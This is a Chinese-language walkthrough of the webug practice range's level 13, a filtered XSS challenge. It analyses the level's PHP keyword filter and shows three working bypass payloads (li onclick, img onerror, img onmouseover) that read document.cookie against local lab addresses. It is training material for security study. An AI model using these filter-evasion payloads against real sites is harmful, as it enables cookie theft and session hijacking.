目录
第13关 过滤型XSS
1.打开靶场
2.源码分析
3.渗透实战
(1)渗透方法1
(2)渗透方法2
(3)渗透方法3
本文通过《webug靶场第13关 过滤型XSS》来进行渗透实战。
第13关 过滤型XSS
1.打开靶场
http://192.168.71.129:8006/control/sqlinject/filter_injection.php
修改id内容为hello,如下图红框所示hello被展示到页面中。
很明显很大概率有XSS注入风险,注入命令如下所示。
id=<script>alert(document.cookie)</script>
不过此时渗透失败,提示请不要包含恶意函数,看来有关键字过滤。
2.源码分析
如下所示,输入参数为id,当参数包含alert的XSS注入语句时,将flag放入到cookie中。如下所示对参数id进行小写处理,并且包含script关键字时被过滤。
<?phprequire_once "../../common/common.php";// 会话验证:检查用户是否已登录,未登录则重定向到登录页面
if (!isset($_SESSION['user'])) {header("Location:../login.php");
}// 清除可能存在的flag Cookie(安全措施)
setcookie("flag", "", time() - 1);// 处理URL参数
if (isset($_GET["id"])) {if (!empty($_GET["id"])) {// 将参数转换为小写进行检查(防止大小写绕过)$id = strtolower($_GET['id']);// XSS检测:如果参数中包含"script"字符串if (strstr($id, 'script')) {// 设置响应头,确保中文正常显示header("Content-type:text/html;charset=utf-8");// 警告用户不要使用恶意函数并终止脚本echo "<script>alert('请不要包含恶意函数')</script>";exit();} // 特殊逻辑:如果参数中包含"alert"字符串elseif (strstr($_GET['id'], 'alert')){// 从数据库获取安全标志(可能是敏感信息)$sql = "SELECT * FROM env_list WHERE id = 9";$res = $dbConnect->query($sql);$row = mysqli_fetch_assoc($res);// 设置包含安全标志的Cookiesetcookie("flag", $row['envFlag']);}}
}// 引入HTML模板文件
require_once TPMELATE."/xss_1.html";
这段 PHP 代码实现了一个基于会话验证和输入过滤的 Web 页面安全机制:
- 会话验证:确保只有登录用户才能访问该页面
- Cookie 处理:清除可能存在的 flag Cookie,防止信息泄露
- 输入过滤:
- 将 URL 参数转换为小写后检查是否包含 "script" 字符串
- 若包含则提示用户并终止脚本执行
- 特殊逻辑:
- 若参数中包含 "alert" 字符串(不区分大小写)
- 从数据库查询 ID 为 9 的记录
- 将查询结果中的 envFlag 值存入客户端 Cookie
- 页面渲染:引入 HTML 模板文件显示页面内容
通过如上分析,如果想获取flag,应该注入包含alert的字符串,接下来尝试根据提示应该构造如下注入命令。
<script>alert(document.cookie)</script>
很明显因为如下代码会注入失败。
if (strstr($id, 'script')) {header("Content-type:text/html;charset=utf-8");echo "<script>alert('请不要包含恶意函数')</script>";exit();}
通常来将script关键字被过滤,会考虑大小写绕过,比如如下方式。
<Script>alert(document.cookie)</sCript>
不过因为如下源码,将参数id的内容小写后再过滤。
$id = strtolower($_GET['id']);
故而当使用大小写变换后的注入语句时也会渗透失败,具体如下所示。
故而在渗透过程中,需要考虑使用无script关键字的XSS注入语句。
3.渗透实战
(1)渗透方法1
考虑使用无script关键字的XSS注入语句,那么我们使用onclick的XSS脚本,如下所示。
<li/onclick=alert(document.cookie)>ljn</li>
完整url如下所示。
http://192.168.71.1/webug4/control/xss/filter_xss.php?id=<li/onclick=alert(document.cookie)>ljn</li>
如下点击ljn,注入成功。
(2)渗透方法2
利用img标签和onerror配合来进行绕过,由于页面不存在路径为/1的图片,因此直接加载会出错,触发onerror并且执行代码。
<img src=1 onerror=alert(document.cookie)>
注入语句 如下所示。
http://192.168.71.129:8006/control/xss/filter_xss.php?id=<img src=x onerror=alert(document.cookie)>
渗透获取到flag。
(3)渗透方法3
利用img标签和onmouseover配合来进行绕过。
<img src=x onmouseover=alert(document.cookie)>
注入语句 如下所示。
http://192.168.71.129:8006/control/xss/filter_xss.php?id=<img src=x onmouseover=alert(document.cookie)>
将鼠标移动到图标处。
如下所示弹出XSS注入命令,获取到flag。